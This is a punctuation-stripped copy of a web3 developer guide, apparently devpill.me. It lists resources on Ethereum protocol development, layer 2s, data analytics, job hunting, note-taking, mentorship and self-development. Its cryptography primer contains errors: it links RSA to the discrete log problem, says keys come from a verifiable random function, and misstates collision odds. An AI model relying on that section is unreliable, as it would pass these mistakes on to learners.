nowadays since rewriting the front end front end development back end back end development and smart contract smart contract development sections would be pointless i ll dedicate this section just to list a bunch of full stack guides tips and tricks deployment guidelines project management and other relevant information full stack guides introduction to ethereum development https www youtube com watch v mljpjjqztc8 austin griffith https twitter com austingriffith the complete guide to full stack web3 development https dev to dabit3 the complete guide to full stack web3 development 4g74 nader dabit https twitter com dabit3 speed run ethereum https speedrunethereum com austin griffith https twitter com austingriffith solidity blockchain and smart contracts course beginner to expert python tutorial https www youtube com watch v m576wgidbdq patrick collins https twitter com patrickalphac full stack blockchain solidity course https github com smartcontractkit full blockchain solidity course py patrick collins https twitter com patrickalphac full stack tutorials introduction to ethereum https www youtube com watch v mljpjjqztc8 build uniswap blockchain web3 app with solidity next js sanity io https www youtube com watch v xxxjrzdyiss building and deploying on l2s and da layers coming soon optimism developer docs https community optimism io docs developers new bedrock protocol specs https github com ethereum optimism optimistic specs arbitrum developer docs https developer offchainlabs com docs developer quickstart protocol description https developer offchainlabs com docs rollup protocol zksync developer docs https docs zksync io dev new 2 0 docs https v2 docs zksync io dev starknet starkex starknet cairo docs https starknet io docs core protocol development general learning there are many topics to learn about in core development one can specialize in any area here is a selection of learning resources basic merkle trees ethereum execution layer merkle patricia tree walkthrough https dzone com articles ethereum yellow paper walkthrough 27 execution and consensus layer merge design https www youtube com watch v 8n10a1ebhbc video by danny ryan rollup centric roadmap https ethereum magicians org t a rollup centric ethereum roadmap 4698 post by vitalik ethereum protocol eli5 coming soon medium yellow paper https ethereum github io yellowpaper paper pdf l1 protocol specification in paper form abi application binary interface https docs soliditylang org en v0 8 11 abi spec html to interact with contracts evm opcodes https www evm codes interactive reference rlp https eth wiki fundamentals rlp the encoding used everywhere in execution layer ssz specs https github com ethereum consensus specs blob dev ssz simple serialize md encoding and merkleization of eth2 also see visualized encoding https github com protolambda eth2 docs blob master eth2 ssz svg and visualized hash tree root https github com protolambda eth2 docs blob master eth2 htr svg evm https ethereum org en developers docs evm overview of the machine that runs smart contracts executable specs readability first python implementations of the protocol specification consensus layer https github com ethereum consensus specs also see pip package https pypi org project eth2spec execution layer https github com ethereum execution specs also see the rendered version https ethereum github io execution specs simplified eth2 phase0 specs intro https notes ethereum org djrtwo bkn3zpwxb light client design https www youtube com watch v ysw bq05pjq and implementation https www youtube com watch v bx8i9u2pymk advanced builder proposer separation proposer block builder separation friendly fee market designs https ethresear ch t proposer block builder separation friendly fee market designs 9725 flashbots frontrunning the mev crisis https ethresear ch t flashbots frontrunning the mev crisis 8251 state of research https notes ethereum org vbuterin pbs censorship resistance and fork choice gasper paper combining ghost and casper https arxiv org abs 2003 03052 dagger hashimoto legacy pow https eth wiki concepts dagger hashimoto state db design erigon docs choice of storage engine https github com ledgerwatch erigon wiki choice of storage engine state representation https github com ledgerwatch erigon blob devel docs programmers guide guide md bls signature aggregation in eth2 https ethresear ch t pragmatic signature aggregation with bls 2105 by justin drake bls12 381 for the rest of us https hackmd io benjaminion bls12 381 by ben edgington bls signature for busy people https gist github com paulmillr 18b802ad219b1aee34d773d08ec26ca2 by paul miller kzg kzg polynomial commitments https dankradfeist de ethereum 2020 06 16 kate polynomial commitments html by dankrad feist zk study club part 1 polynomial commitments https www youtube com watch v bz16burh u8 by zk fm podcast with justin drake zk zk study club playlist https www youtube com watch v pnc9j7uqgqs list plj80z0cjm8qhm 9bdz1bqcgbge ben 3y by zk fm podcast fraud proofs optimistic rollup tech the state of optimistic rollup https medium com molochdao the state of optimistic rollup 8ade537a2d0f older overview by daniel goldman inside arbitrum https developer offchainlabs com docs inside arbitrum arbitrum fraud proof cannon https medium com ethereum optimism cannon cannon cannon introducing cannon 4ce0d9245a03 optimism fraud proof libp2p https docs libp2p io the network layer in eth2 polkadot filecoin and other blockchains devp2p https github com ethereum devp2p the original network layer in eth1 execution layer of ethereum whisk a practical shuffle based ssle protocol for ethereum https ethresear ch t whisk a practical shuffle based ssle protocol for ethereum 11763 vdf research https vdfresearch org verifiable delay function for ethereum and other protocols data availability sampling das das in practice https notes ethereum org vbuterin r1v8vculp das in full sharding design https hackmd io vbuterin sharding proposal l2 layer 2 scales layer 1 by increasing capacity without significantly changing the security assumptions of the layer 2 although this does not change l1 itself it does influence the general scaling design direction generally pushing ethereum into a rollup centric roadmap https ethereum magicians org t a rollup centric ethereum roadmap 4698 domains side chains ethhub https docs ethhub io ethereum roadmap layer 2 scaling sidechains eth org https ethereum org en developers docs scaling sidechains state channels ethhub https docs ethhub io ethereum roadmap layer 2 scaling state channels eth org https ethereum org en developers docs scaling state channels plasma mostly deprecated ethhub https docs ethhub io ethereum roadmap layer 2 scaling plasma eth org https ethereum org en developers docs scaling plasma rollups intro by polynya https polynya medium com rollups data availability layers modular blockchains introductory meta post 5a1e7a60119d zk rollups zkrus ethhub https docs ethhub io ethereum roadmap layer 2 scaling zk rollups eth org https ethereum org en developers docs scaling zk rollups optimistic rollups orus ethhub https docs ethhub io ethereum roadmap layer 2 scaling optimistic rollups eth org https ethereum org en developers docs scaling optimistic rollups bridges eth org intro https ethereum org en bridges l3 validiums volitations etc starkware l3 https medium com starkware fractal scaling from l2 to l3 7fe238ecfb4f validium eth org intro https ethereum org en developers docs scaling validium refer to l2beat com https l2beat com for an overview of active l2 scaling solutions l1 domains eth1 execution layer networking devp2p evm tx pool sync methods fast snap archive beam light state db user facing json rpc tx tracing etc eth2 consensus layer networking libp2p fork choice attestations bls aggregation staking validator clients slashings sharding news selection of protocol news resources week in ethereum https weekinethereumnews com og weekly news letter eth2 news https eth2 news eth2 news by ben edgington communication discord eth r d server https discord gg eyk6hmmcmy eth magicians https ethereum magicians org forum for governance protocol discussion eth research https ethresear ch forum for research discussion allcoredevs acd discord channel in r d https discord gg s6r6rcwpc3 ethereum foundation youtube channel https www youtube com c ethereumfoundation streams acd and consensus calls l1 specifications execution layer ethereum improvement proposals eips https eips ethereum org execution apis https github com ethereum execution apis new execution py specs https github com ethereum execution specs consensus layer consensus specs https github com ethereum consensus specs beacon apis https github com ethereum beacon apis also see interactive site https ethereum github io beacon apis annotated specs https github com ethereum annotated spec by vitalik buterin eth2 book https eth2book info altair contents extended annotated specs with some eth2 history by ben edgington legacy but good resources proof of stake f a q https eth wiki en concepts proof of stake faqs sharding f a q https eth wiki sharding sharding faqs ethereum sharding research compendium https notes ethereum org serenity h1pgqdhpm type view ethereum core teams client teams those that are open source in no particular order domain project language discord docs eth2 prysm https github com prysmaticlabs prysm go invite https discord gg fbhjsdy docs https docs prylabs network docs getting started eth2 lighthouse https github com sigp lighthouse rust invite https discord gg uc7tuah docs https lighthouse book sigmaprime io eth2 lodestar https github com chainsafe lodestar typescript invite https discord gg quv3njx docs https chainsafe github io lodestar eth1 eth2 nimbus eth2 https github com status im nimbus eth2 and eth1 https github com status im nimbus eth1 nim invite https discord gg ybtcnat docs https nimbus guide eth2 teku https github com consensys teku artemis harmony java kotlin invite https discord gg vzpbtfw docs https docs teku consensys net en latest eth1 go ethereum https github com ethereum go ethereum go invite https discord gg nvkex7qbjc docs https geth ethereum org docs eth1 nethermind https github com nethermindeth nethermind c invite https discord gg esp8n6w docs https docs nethermind io nethermind eth1 besu https github com hyperledger besu java invite https discord gg mem2qcvxfn docs https wiki hyperledger org display besu hyperledger besu eth1 ethereum js https github com ethereumjs ethereumjs monorepo javascript invite https discord gg qjjke3rkuz docs https ethereumjs readthedocs io en latest eth1 erigon https github com ledgerwatch erigon go invite only https github com ledgerwatch erigon erigon discord server docs https github com ledgerwatch erigon tree devel docs computer science client development geth mev searcher coming soon security engineer wip cryptography cryptography is the backbone of distributed ledgers no distributed permissionless system is possible without asymmetric cryptography if you are interested in building decentralized applications it s essential to understand the wallet generation and transaction signing processes both of which rely heavily on underlying cryptographic protocols throughout this section i provide a wide array of information about cryptography disclaimer while playing with these algorithms on your own is a great way to learn you never want to use your cryptographic protocols in a production environment the existing libraries have been well vetted and battle tested over many years because cryptography is complex by design attempting to build your cryptographic protocols is incredibly dangerous what is cryptography cryptography is the study of enciphering and deciphering information preserving the privacy of enciphered information modern cryptography is mathematically robust and plays a critical role in securing sensitive information like your bank account numbers and social security number while the mathematics may seem complex and intimidating the concepts are graspable even without completely understanding the encryption algorithms cryptography is made up of a collection of primitives which serve as building blocks for different cryptographic protocols some examples of cryptogrpahic primitives include hash functions such as sha 256 and md5 a one way map and verifiable random functions vrfs true randomness is extreamly dificult to capture but mathmaticians have developed a way to construct randomness that is indestinguishable from true randomness these primitives are used to build more robust tools like ciphers ciphers are algorithms used to conceal encrypt and decrypt information the encrypted data is called ciphertext while the translated information is called plaintext there are two general categories of ciphers symmetric ciphers and asymmetric ciphers we will go into the difference and some examples throughout this section symmetric ciphers a cipher is symmetric when the same key used to encrypt information is also used to decrypt information resulting in key symmetry a simple example of this is a xor cipher to encrypt with an xor cipher you simply xor the bits of the key with the bits of the plaintext to decrypte the cipher text you xor the same key with the plaintext i have provided an xor truth table bellow for convienence a b a xor b 0 1 1 0 0 0 1 1 0 1 0 1 note this cipher is if the same key is used more then once see this article https idafchev github io crypto 2017 04 13 crypto part1 html for the details other examples of symmetric ciphers include the transposition ciphers like caesar s cipher https en wikipedia org wiki caesar cipher and permutation ciphers both are easily broken by frequency analysis https en wikipedia org wiki frequency analysis most monoalphabetic symmetric ciphers one alphabet are broken with frequency analysis there are existing symmetric ciphers that have not been broken a good example is the advanced encryption standard or aes https en wikipedia org wiki advanced encryption standard however the security of aes relies on having a sufficiently large key size symmetric ciphers are appropriate until you need to send a key over a communication protocol securely you and the receiving party must share a key to share private information over a secure communication channel you can see this chicken or the egg problem forming how do you securely share the key asymmetric ciphers the ciphers used today that distributed ledgers rely on are asymmetric ciphers asymmetric ciphers address the key exchange problem presented above by using a different key to encrypt information than they do to decrypt information these keys are known as the public and private key pair the asymmetric cryptosystem is only possible because of a mathematical relationship between the public and private key pair the first breakthrough with asymmetric cryptography was the rivest shamir alderman rsa https en wikipedia org wiki rsa cryptosystem cipher named after its creators the security of rsa relies on the fact that factoring large prime numbers is hard more precisely the discrete log problem https en wikipedia org wiki discrete logarithm these ciphers allow anyone to encrypt information intended for you with your public key but only you can decrypt it with your private key while rsa was a breakthrough in cryptography it was computationally not as fast as some of the leading symmetric ciphers at the time thus rsa was used to securely share the symmetric key cipher after which the symmetric cipher was used rsa was the state of the art until a curve initially discovered about 2000 years ago by dophantus https en wikipedia org wiki diophantus was explored for a better approach there is an algebraic structure called a finite field https en wikipedia org wiki finite field in a finite field the elements in the field obey slightly more abstract rules when compared to arithmetic operators on real numbers you can define a finite field of rational points on a curve given that you can define multiplication and addition between these points and the results under these definitions remain rational points on the curve the class of curves that these fields have been defined over for asymmetric cryptography are called elliptic curves and fallow the general equation of y sup 2 sup x sup 3 sup ax b where a and b are constants how does this relate to the discrete log problem it turns out that the discrete log problem in the finite field of an elliptic curve is preserved and still very difficult thus we can construct similar primitives like those constructed in rsa over fields of elliptic curves the advantage over rsa is that they are relatively fast so more than 90 of all internet traffic year to date is encrypted with elliptic curves detail on the parameters for curve p256 can be read about here https csrc nist gov csrc media events workshop on elliptic curve cryptography standards documents papers session6 adalier mehmet pdf if you are curious about how the addition and multiplication operators are defined in the finite fields over these curves i recommend this reading https hackernoon com what is the math behind elliptic curve cryptography f61b25253da3 digital signatures we can create a new cryptographic primitive called a digital signature with asymmetric cryptography for example you want to prove that you have the corresponding private key to a public key to authorize a transaction a simple way to think about this is what if you encrypt information with your private key and allow anyone to use your public key to decrypt this information the elliptic curve digital signature algorithm ecdsa https en wikipedia org wiki elliptic curve digital signature algorithm is slightly more complex and requires you to have a vital source of randomness as one of the parameters nonetheless this is how you authorize send a transaction from your wallet you sign the transaction with your private key revealing no information about the private key to prove you have the authority to authorize your transaction you can now see how anyone with your private key can authorize transactions on your behalf not your keys not your crypto wallet generation in ethereum to generate a wallet address in ethereum you first randomly generate a 256 bit private key with a verifiably random function vrf then you use elliptic curve cryptography to generate the corresponding 256 bit public key finally you hash the 256 bit public key with keccak256 https keccak team keccak html to a 160 bit address with a 256 bit key the odds of someone generating a private key already in use a collision is 2 sup 256 sup and computationally unfeasible protocol development coming soon blockchain data analytics provisional this section will primarily cover evm based chains as of now getting started with data analytics in web3 is really easy because everything is standardized there are tons of visualization explorer tools and most of the existing analysis in the space is fully open source no matter your background and experience level i recommend starting your analytics journey with sql it s the easiest to work with and share by far resources for getting started guide https ath mirror xyz w2cxg5op1oecqvsgsejssykrjhpmam0w fxgogig 8g to how to think about web3 data the tools you ll need across the data stack and some skills roles that are common in the space for basics of both sql and ethereum start here https towardsdatascience com your guide to basic sql while learning ethereum at the same time 9eac17a05929 once you re comfortable with those start with the intermediate material here https towardsdatascience com your guide to intermediate sql while learning ethereum at the same time 7b25119ef1e2 if you re comfortable with contract tables and want to dive more into the base data tables transactions logs traces then check out this https ath mirror xyz mbr1n cvfll1kikctg42bnm4hpfgbqdpnndh8mu2ejw complete break down of an ethereum transaction including proxy patterns a lot of event and call data analytics relies on using aggregations to get to the most current state skip that noise and go to storage and state data analysis https ath mirror xyz lczzebcfpmfqlihqubmnamv5eevfnbgmr s7mkwcuyo when you re ready this will require you to learn some solidity to fully dive in and become a web3 analyst check out the ournetwork learn 30 day data course https ournetwork mirror xyz gp16wly 9ba1e zuosv1euagygfk9melnza8cfgmwpq with videos that cover a multitude of topics once you re ready to start applying to roles one place to start is applying to this talent board https ilemi pallet com talent for a chance to have 1 1 help finding a role beginner friendly orgs to start getting involved in metricsdao https discord com invite metrics runs workshops and bounties weekly index coop https discord com invite bcqyxdnc3r lots of broad protocol analytics generally to learn from dune wizards https discord com invite errzwbz lots of helpers and some harder bounties flipside gunslingers https discord com invite zmu3jquu6w lots of helpers and a more focus on cross chain work like harmony terra solana etc some data feeds to follow to keep updated on newest analysis in the space dune digest podcast https twitter com duneanalytics status 1502358536432537607 ournetwork weekly data newsletter https ournetwork substack com more to come soon application based development coming soon defi wip lending borrowing dexs yield aggregators mev coming soon the dark forest frontrunning backrunning creator economy coming soon gaming development coming soon coordination public goods coming soon getting a job once you start having a solid foundational skillset within blockchain development you can start looking for junior positions in your area of interest one of the best parts of web3 is that many projects have open source codebases which make it much easier to contribute to there are various structures in web3 that allow a developer to get paid for their work some of them are working for a company that is building a web3 product getting grants from gitcoin or several different daos being a dao core contributor and getting paid with bounties the easiest way to find a job is being active in the social platforms of the projects you d like to be hired at or contribute to e g if you want to become a smart contract developer at uniswap then talk to the team on discord suggest them new features implement mockups apply for a grant and if you are good enough someone will notice and try to hire you to work on it full time within the dao itself or for uniswap labs which is the core team leading the smart contract development efforts the most important thing is to show initiative being proactive and openly talking about helping if you come across something interesting also don t forget to post it on twitter or on telegram in order to find interesting projects to work for web3 devs look at twitter as it s the place where everything unfolds and where every single project lives if you build out a reputation as a good blockchain developer then you ll start getting dms from interesting people and projects as there is an extreme lack of talent in the space and insatiable demand for good developers portfolio in order to become a good job candidate it is almost imperative to have a portfolio of projects that you ve built in order to showcase the skills you have the technologies you use and your thought processes behind solving different problems i e if you are interested in building defi applications then you can showcase that by writing a demo of an amm a yield aggregator a money market etc the more high quality demo projects you have the better as these will act as valuable information for teams looking to hire the most popular way to showcase your projects is to publish them publicly on github https github com if you don t know what to build you can look at different problems different projects are facing try solving one of them and publishing the solution as a public repo on github you can build demo projects from sites like speedrunethereum https speedrunethereum com using templates like scaffold eth and much more job boards the two most used platforms to find crypto web3 jobs are twitter and a few select job boards the main job boards used by recruiters and workers are crypto jobs https crypto jobs cryptojobslist com https cryptojobslist com bankless job pallet https bankless pallet com jobs web3 career https web3 career cryptocurrencyjobs https cryptocurrencyjobs co web3 pallet https web 3 pallet xyz useweb3 jobs https useweb3 xyz jobs web3 board https web3board io defi jobs https defi jobs twitter twitter is the place to find a blockchain development job linkedin is rarely used for hiring talent in the space although it s not too uncommon either as most of the web3 crypto culture resides on twitter it is a natural place for developers founders creators and users to hangout together the more value you provide to the community the more following you ll get therefore the more outreach as a developer all teams are thirsty for good developers and so the more relevant followers you have the more chances you ll get of being discovered by a team looking to hire a blockchain developer in your field of expertise building up your twitter reputation can propel you forwards more than you d expect a lot of friendships partnerships and collaborations have been initiated through twitter and it is currently the place to account for social value clout in the space if you manage to demonstrate mastery of any given skill within web3 then you are guaranteed a position pretty much anywhere as all teams are looking for talent if you are just starting out but you show a strong drive and initiative to learn then many teams will ask to take you under their wing in order to upscale your skills by getting your hands dirty and learning while building as you go by being active on relevant social platforms like twitter discord and telegram and socializing with the right people finding a job becomes relatively easy as everyone is looking to hire talent mastery introduction this mastery section will discuss several soft skills that will help you master any skillset it is vital not to get stuck in the wrong mindset when learning the skills required to become a great blockchain developer it is not only about going to a few websites reading course material working out some problems and building applications various soft skills will assist you during your journey which often go unnoticed or are ignored learning how to learn many people focus on the skillsets they need to learn and all the information they need to consume rarely do people stop to think twice about how to learn effectively so that every minute spent learning any course material yields maximum retention and the time effort is minimized this section is inspired by barbara oakley s book learning how to learn lesson s from the book these notes are extracted from this summary https www allencheng com learning how to learn book summary barbara oakley terrence sejnowski et al of the book i strongly recommend reading the book https www amazon com learning how learn spending studying dp 0143132547 or taking barbara oakley s coursera course https www coursera org learn learning how to learn 1 when you find yourself struggling to solve a problem or learn anything new try to relax for a few minutes and then try again later 2 procrastination gives you instant pleasure but it hurts you long term and makes you highly unproductive 3 think in metaphors to learn faster 4 learning has no age even adults in their 40s or 50s can learn new stuff 5 sleeping is important for your brain connections to become stronger and sturdier 6 use memory palaces to remember cold hard facts 7 excercise is good not only for your body but also for your brain 8 neurons are sophisticated tiny computers in your brain 9 focus on different aspects while studying a new subject more resources on learning how to learn barbara oakley s coursera course https www coursera org learn learning how to learn how to learn anything faster ali abdaal https www youtube com watch v unityetmypk ab channel aliabdaal how to take notes efficiently when you constantly have to consume lots of learning materials it is tough to learn it effectively and in a way that your brain can retain it for longer suppose you want to master any given topic it is good to write notes as you re learning especially in a digital format that you can easily query and reminisce yourself about the material if you write practical notes your brain is forced to think about the subject and hand and more easily synthesizes the ideas and learnings content retention is also heightened when you take good notes since your recollection of a subject is better when focusing on the essential parts of any given learning material a great book to improve at notetaking is how to take smart notes one simple technique to boost writing learning and thinking for students academics and nonfiction book writers by s nke ahrens amazon link https www amazon com gp product b09v5m8fr5 ref x gr w bb sin ie utf8 tag x gr w bb sin 20 linkcode as2 camp 1789 creative 9325 creativeasin b09v5m8fr5 subscriptionid 1mgpyb6yw3hwk55xcgg2 the book is inspired by the german notetaking method zettelkasten https en wikipedia org wiki zettelkasten core principles of how to take smart notes 1 writing is not the outcome of thinking it is the medium in which thinking takes place 2 do your work as if writing is the only thing that matters 3 nobody ever starts from scratch 4 our tools and techniques are only as valuable as the workflow 5 standardization enables creativity 6 our work only gets better when exposed to high quality feedback 7 work on multiple simultaneous projects 8 organize your notes by context not by topic 9 always follow the most interesting path 10 save contradictory ideas if you don t want to read the book you can read a summary of it and try to apply its principles to your personal notetaking approach link https fortelabs co blog how to take smart notes next let s explore different notetaking applications and what they are suitable for notion https images ctfassets net spoqsaf9291f 3urr6bnggyuzpzrnwtgecf e37c7dcfabd322a81f926cfffbc7e952 screen shot 2021 09 20 at 6 17 28 pm png notion https www notion so is a great notetaking tool for all sorts of things whether it is taking notes on a topic that you are trying to master managing complex projects with your team creating a knowledge base managing your daily tasks and much more how to use notion here are some external resources to learn how to use notion feel free to submit a pull request to the guide or the devpill me site with suggestions on more resources 10x your productivity as a developer with notion clever programmer https www youtube com watch v 9pwaogql ts notion mastery marie poulin https www youtube com playlist list plpzkobl909y1s8hs5qpslamygqzmmqzdz keep productive youtube https www youtube com channel ucyyaqsm2hynep9csiodihbw notion https www youtube com channel ucosvlws5xcwaszicbuj ysg civic s unplugged notion use cases https cucrew notion site how we use notion at civics unplugged 9b4ec2ef829d4b3cb88335cae712fc56 self development use case gary sheng s leadership blueprint https garysbrain notion site garysbrain gary s leadership blueprint 3020aee8549346c49c2495f5f21dec04 roam research roam research https roamresearch com is a notetaking app that leverages the structure of graphs to synthesize and connect different notes and pieces of knowledge by referencing concepts across notes you can link different ideas in both directions and create mind maps for anything you learn roam research https lawsonblake com content images 2020 08 roam page 2 jpg roam research is a subscription based paid application 15 per month or 165 per year you can also apply for a scholarship to use roam for free if you are a researcher under 22 or experiencing financial distress link to apply https roamresearch typeform com to y8ggm3gr typeform source roamresearch com it is a great way to create a structure for any learning material whether it is about solidity mev defi some protocol design public goods or anything else it is a great way to reference concepts and check where else you have referenced them and expand on each note you take how to use roam research beginner s guide to roam research keep productive https www youtube com watch v a 7 8aakv7m this note taking app is a game changer roam research by thomas frank https www youtube com watch v vxoffm tvhi ab channel thomasfrank how to take better notes with roam research lawson blake https lawsonblake com roam research review obsidian obsidian https obsidian md images screenshot png obsidian https obsidian md is a free alternative to roam research that hosts your graphs locally some add on features or licenses can be paid for as a subscription or one time payment for added functionality they will also soon release hosted graphs how to use obsidian your beginner s guide to obsidian https www keepproductive com blog obsidian beginners guide inkdrop inkdrop https beta docs inkdrop app og cover image jpg inkdrop https www inkdrop app is a markdown notetaking application that is highly extensible and focuses on developers i use it to write all of my articles and the devpill me https devpill me guide and my article on l2s https dcbuilder mirror xyz qx eljbqbm1iq45ktpsz8pwlzn1c52dmeth09bozuo0 and some other pieces i use the vim extension for writing using vim keybindings https github com vim vim i also use the latex extension to occasionally write math equations and some other plugins for modifying how the application looks there is a 30 day free trial for the application otherwise it costs 50 per year or 6 per month others for more applications check out this article https collegeinfogeek com best note taking apps from college info geek comparing different notetaking apps mentorship having guidance is extremely important to grow as rapidly as possible and make the most effective use of your time i want to share some of the lessons i have learned over the past four years of researching blockchain development and web3 i don t want new developers to feel as overwhelmed by the number of possibilities and lack of structured guidance as i did in the crypto and broader web3 ecosystems thought leaders spearhead different missions values and goals and drive the industry forward when you are just starting out following these leaders and analyzing how they reached their position is an excellent way to understand what you need to do to achieve your own goals within a particular field if you are interested in creating useful defi primitives then you have to analyze exemplary founders and builders of current as well as the up and coming defi protocols good examples include hayden adams https twitter com haydenzadams uniswap stani kulechov https twitter com stanikulechov aave robert leshner https twitter com rleshner compound scupytrooples https twitter com scupytrooples alchemix etc ethernautdao ethernautdao is a community of builders that tries to convert developers from other fields into blockchain developers through mentorship programs there are two main types of members in etheurnautdao mentors and mentees students mentors come from different established protocols daos projects and companies in the industry and are looking to train and hire skilled developers the process is relatively simple a mentor posts an opening for a specific type of mentorship students apply if they get accepted they get mentorship and often either compensation or the chance to get hired by the company the mentor belongs to twitter the leading platform for news discourse education and interaction within the web3 space is twitter almost everyone interacts on twitter and so as someone looking to learn and get mentorship it is a great place to try and get hired take a look at the getting a job section https www devpill me docs getting a job introduction and accrue social capital https www devpill me docs social capital introduction as you build a portfolio that showcases your skills it will act as your reputation in the space you can leverage that reputation on twitter to start working on different projects getting a job or interacting with skilled individuals who are generally very willing to help people learn and become better great to get mentorship development bootcamps another option for getting valuable guidance is finding a community of people going through the same challenges you are you will gain access to experienced builders excellent educational materials and more development bootcamps and e learning platforms like the ones listed below a non exhaustive list of learning platforms buildspace https buildspace com free cadena https cadena dev free encode club https www encode club encode bootcamps paid consensys academy https consensys net academy bootcamp expensive bootcamp buidlguidl https buidlguidl com free learn web3 https www learnweb3 io free affiliated i dcbuilder am an advisor artemis https www artemis education free income sharing crystalize https crystalize dev income sharing mastery mastery of a craft can only be achieved when individuals hone their skills to the utmost and become competent experts to acquire knowledge of a specific skillset the individual needs to devote a lot of time and concentrated effort to learn as many intricacies nuances and details about their craft they also need to assimilate that information into their abilities to wield the art necessary to perform it they need to constantly keep up with the pace of development within that craft to retain their state of the art skills the context of blockchain development involves keeping up with the current standard development stacks looking into newly emerging technologies developing a deep understanding of the field to critically assess the pros and cons of using a specific technology or architecture many principles behind mastery and the journey of achieving peak human performance are studied in various areas of study like neurology for learning related matters psychology physiology social sciences self development studies and more a good entry book that has remained relevant for decades is robert green s book mastery it details the steps that the most capable people have abided by to achieve greatness and mastery of their craft throughout human history you can find a good summary of the book s principles here https www nateliason com notes mastery robert greene the main sections of the book are 1 discovering your calling 2 submit to reality the ideal apprenticeship 3 absorb the master s power the mentor dynamic 4 see people as they are social intelligence 5 awaken the dimensional mind the creative active 6 fuse the intuitive with the rational mastery becoming a master of blockchain development or its specializations is a never ending process however the possibilities for what you can create are endless and all of its skillsets are highly valuable and sought after i m personally excited about what the masters of the future will be able to build and how that will enable the future of human coordination public goods and regenerative crypto economics rationality rationality is the quest of trying to find the truth systematically a great book about rationality is rationality from ai to zombies https intelligence org rationality ai zombies by eliezer yudkowsky thank you rai https twitter com 0xraino for the recommendation from the book when we talk about rationality we re generally talking about either epistemic rationality systematic methods of finding out the truth or instrumental rationality systematic methods of making the world more like we would like it to be we can discuss these in the forms of probability theory and decision theory but this doesn t fully cover the difficulty of being rational as a human there is a lot more to rationality than just the formal theories the book is comprised of 6 smaller sections book i map and territory book ii how to actually change your mind book iii the machine in the ghost book iv mere reality book v mere goodness book vi becoming stronger you can read the sections sequentially as they originally come from blogposts he wrote each section goes through different areas of rationality time management time management is vital to becoming an efficient developer especially in crypto web3 where there are so many distractions and shiny objects that it is hard to focus on essential tasks planning planning your days ahead of time is essential to maximize productivity as a developer especially if you are a freelancer or don t have a robust synchronous structure within your organization since many web3 developers work remotely and teams coordinate asynchronously using tools like github zoom google meets etc it is essential to book the times you will spend working on a particular task or area i d recommend planning your day the day before and filling all the necessary tasks as you need them you will get better at planning the more you do it as you ll be able to see how it works for you and what things you need to polish out i try to schedule everything from travels to bookings personal affairs periods for exercising eating reading learning working events calls meetings etc i spent way too much time procrastinating and just going through the motions and if i had a system to use my time efficiently i would not have lost so much time in vain i ve recently started using cron https cron com a calendar interface that can hook up to google accounts the application aggregates all of your connected google accounts calendars it sends notifications for meetings early the ui ux is impressive booking new events is very intuitive and it allows you to send invites from any account for scheduling meetings i recommend using calendly https calendly com or similar services that allow you to give other people links with pre filled slots with your availability the people you want to meet with can use to book a specific time with you the event will subsequently appear in your calendar app of choice to get deeper into planning scheduling and developing high performance i recommend reading these two books which are my personal favorites the power of habit https www shortform com summary the power of habit summary charles duhigg utm source google utm medium cpc charles duhigg high performance habits https www amazon com high performance habits extraordinary people dp 1401952852 brendon burchard project management as a software developer you re going to work with many different people when you join a team or try to build a product yourself from designers front back end devs devops data engineers to lawyers product managers etc there will be systems set in place in the most mature developer environments to coordinate as an organization popular methods are agile https www atlassian com agile text agile 20is 20an 20iterative 20approach small 2c 20but 20consumable 2c 20increments and scrum https en wikipedia org wiki scrum software development popular apps for managing all of these processes tasks and interactions include tools like asana linear jira trello notion etc self development to reach your peak you need to create a sustainable set of habits that will allow you to keep working hard consistently since we are all human beings we need to keep our bodies in check as they are the hosts for our brains responsible for producing bug free code note that this section is not professional advice as i am not an expert in these fields and i am not a licensed advisor if you want guidance in any areas covered please consult with an expert trainer nutritionist therapist coach etc working out exercise is an integral part of life as it allows the body to maintain physical fitness health and overall wellness developers are usually portrayed in modern culture as people who do not exercise very often as sedentary people who sit on a chair all day and do not prioritize their health it is essential to be active throughout the day even though we are programming most of the time i recommend using a standing desk that you can adjust for any height you can stand up and keep coding when you are tired of sitting some individuals also get a small walking board underneath the table to walk while coding another good technique is a slight modification of the pomodoro technique that replaces the break period with a short exercise period the most prevalent version consists of 45 minutes of focused work and a 15 minute workout i like to alternate activities during the workout period other positive effects of exercising are clearer thinking as the brain has more oxygen inflow stronger immune cardiovascular system and more for more guidance on achieving physical fitness and what exercises to do please consult with an expert nutrition nutrition is an area that is very easy to overlook especially when an individual is young and their metabolism can deal with living an unhealthy lifestyle eating the right amounts of food within a varied diet is an integral part of a healthy lifestyle and everyone should take it seriously for more information please consult with a nutritionist or dietary expert or do your research as nutrition varies a lot per individual and i m not qualified to give advice other self development is a very wide topic and there s a lot more to improve than health fitness and nutrition you can improve your mindset define your own values and create systems that will allow you to uphold those values as you go about life there s spiritual discovery learning about various aspects of life etc most of these other topics although significant do not have a direct impact on your performance as a developer so i ll refrain from talking about them feel free to suggest any changes to this section via github pull request social capital introduction social capital expresses how much influence you have within social circles good metrics to denominate social capital in are relevant followers across social platforms within the industry reputation formed by building creating contributing to the space friends in the space that will help you grow that you can learn from that you can rely on that you can discuss your ideas with and get constructive criticism from connections with people that can introduce you or vouch for you in different situations etc there s various methods to accrue social capital which will be talked about within this guide and will be expanded upon over time most consist in outputting relevant content networking and interacting with people in the space building products contributing to the ecosystem in different ways providing value or fun and many other methods in order to meet good people in the space you also need to spend your time in the right places and doing the right things this guide will help you streamline your focus and save time by not wasting it in places where people are not listening or places which are used to achieve different goals from accruing social capital another important aspect of accruing social capital is putting out content which other people find interesting engaging relevant or valuable as a developer in the space your content should provide valuable to other people within the space to developers and other people wanting to get a more technical overview of the field products projects you re working on there s also lots of potential to accrue social capital by creating educational resources like trivia fun facts guides tutorials reviews talks discussions debates etc a good example of this is devpill me itself where me dcbuild3r contributing content to this public good guide helps others know about me and that i m creating a resource that is benefiting anyone people who are interested in learning about blockchain development follow me how to leverage social platforms to grow as a developer the most relevant platforms to interact with people in the space are twitter twitter is used to write short form content that either redirects to long form content like medium mirror substack articles or it is content short enough to fit in a few tweets unless you write a 206 tweet long tweet in which case thereaderapp is useful to make long tweets readable telegram telegram is a single threaded chatting platform which is generally used for simple group chats and newsletters in crypto as a developer there are a few groups which you can follow within your specific realm of interest or create group chats with friends in order to discuss various topics create a learning group for a programming language protocol or topic and more telegram is good for simple one thread conversations where you don t need to manage asynchronous communication discord discord groups are useful once you have a big community dao or friend group which you want to participate in for developers there are various good groups like buildspace developer dao and others it is also used by different teams to manage contributions to an application protocol or service so for example if you become a contributor to an open source project like aave and you want to recommend a change to one of its open codebases and the change gets accepted the coordination and all the processes usually go through discord many projects also help new contributors get started with building with a project and if you are learning something new it is a good place to ask 